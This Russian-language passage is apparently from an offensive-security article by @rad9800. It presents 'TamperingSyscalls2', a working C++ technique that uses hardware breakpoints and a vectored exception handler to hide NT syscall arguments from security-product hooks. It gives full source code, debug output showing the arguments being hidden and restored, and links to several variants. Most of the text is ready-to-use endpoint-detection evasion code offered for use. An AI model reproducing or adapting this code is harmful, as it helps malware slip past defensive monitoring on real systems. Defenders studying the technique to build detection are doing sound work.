Наш стек вызовов уже должен исходить из подходящей DLL, поэтому вам не нужно вызывать Native-функции напрямую; можно вызвать подходящую обёртку из любой DLL, если вы передадите конструктору адрес Native-функции в NTDLL.
Это тривиально и достигается изменением макроса:
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
В примере мы показываем его работу с NtCreateThreadEx и NtCreateMutant! Убедитесь, что вы используете 4 регистра отладки по отдельности для каждого потока. После завершения работы с конкретной функцией вы можете освободить связанный регистр отладки, вызвав метод RemoveHWBPS.
1. Если (addr == entry.first), это означает, что мы на инструкции mov r10, rcx
- Мы сохраняем наши аргументы в записи hashmap, используя ключ (TID | address)
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
- Затем мы устанавливаем эти значения аргументов в 0 (может быть любое другое произвольное значение)
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
- Затем мы устанавливаем флаг Resume в 16-м бите и флаг Trap в 8-м бите
- Это продолжит выполнение как обычно, лишь минимально влияя на производительность.
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
2. Продолжайте одиночный шаг, пока (addr == entry.second.sysc)
- Теперь мы на инструкции syscall и прошли мимо любых пользовательских хуков
- Мы восстанавливаем наши аргументы, используя предыдущий ключ поиска (TID | address).```c
auto const key = (address | GetCurrentThreadId());
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
Ранее описанная техника реализована, фокусируясь на скрытии ВСЕХ аргументов БОЛЬШИНСТВА нативных системных вызовов! Итак, наслаждайтесь этим элегантным и простым решением, где я также предоставляю отладочные операторы печати, чтобы вы могли видеть изменения, вносимые в стек и регистры, и мыслительные процессы, стоящие за всем этим.```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;
typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros /
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }
DWORD WINAPI TestThread(LPVOID lpParameter);
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Вот пример вывода, показывающий, как скрываются аргументы для NtCreateThreadEx.```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x0000000000000000
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x0000000000000000
12: 0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread----
[...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (обновлённая версия) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (чистый C) - https://godbolt.org/z/9va7YzEe9
Размещённый код должен работать для большинства системных вызовов, хотя перед использованием его стоит протестировать. Единственным существенным ограничением в представленных работах является зависимость от хеш-таблиц (std::unordered_map); внутренне это приводит к косвенным вызовам различных нативных функций, таких как NtAllocateVirtualMemory, что не позволяет нам перехватывать их. Это можно адаптировать для работы с x86 с минимальными усилиями.
В будущем вы сможете модифицировать библиотеки для использования пошагового выполнения, как показано в последнем примере. Вам нужно будет знать, когда вы хотите остановить пошаговое выполнение (адрес или диапазон), и действовать соответствующим образом. Это также можно использовать для перехвата через PAGE_GUARD.
Вы также можете заменить AddVectoredExceptionHandler на:
SetUnhandledExceptionFilter(ExceptionHandler);
Ссылки:
[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/
На этом я хочу закончить на позитивной ноте; надеюсь, вы осознали ГРУБУЮ НЕПРЕВЗОЙДЁННУЮ мощь аппаратных точек останова!!!
Приветы jonas, hjonk, smelly, mez0 и остальным старичкам ;)```
.
. . :^.
!
^77^ :!7:!^.
.7!!
:!: :7^.
!. :! ...:^.
!7. .!^ !!!
7. ^7: .7.
.:^::. .7! !! !
....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .!7!^. ^7^:^~~~~~^:7.:::::^
^^?^. :!!!7
.^:
:^^:7. .77
::^^!!: :. -your mate!!^ .!^. ^^. rad
.!7~:::~!
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:!7JY?^.:...:: :: .
.7JJ:^::::::^^!!?5: .?G5Y7!::^^::.... ... . ^!7.^:.:~ JBYJ~.
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!!777????!::..:.. . .^!!77^^ .:. ...^: . !B7. ~~::.^:
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!!!:. ..: J? ... .^
.^!J:^^^:::^^^7?YYYJ7!!..:. :^^^
.~~?:^^^^:^^^77?777!::^^ . . ....... .. .. ...:~~~!!!7!^7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^
^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .^!^^^^^J?7!~~^^^^
.!^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:..!!:. .^::::.::^..: ... .... :5Y?7777~~~^
:!!!77???JJ?!^7^^^^~~~:..::^^:. :!^..:J?7~~^^^^^^
:..!!.^!!!^.::::... ^7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!!
^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?!7!. .^..:?5YYJ?777!!
^:::.... ..:::?7^^!!7!: ..:... ^::.:^!!..7JJYYYYJJJ??J?JJ
:7!::~~~~: ... .^:.:::...^^:::::...... ......... :!: !7??JJJJJ???777
.:!77!!^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~
?J57~!!!77!!!!!^:...^. .. ........:^^^^:....:.... :!. .?Y5YJ??J?7!^^^^
^::!!!!!77!!~~~!7!!^:^~~~~^:.. ....:::^^^::........ : .^?JJYJJ777!^^^
.^??^!!^^::~~~^:!^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~
.^J!~~~^^:^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7
.^7:^!^:^:^^^^^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!:!^:^^~~~!~~~~~~~!7!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^^^::::^~~^~~~~~~~!7!77. . . . . ......:::.. . ^7!7?7~~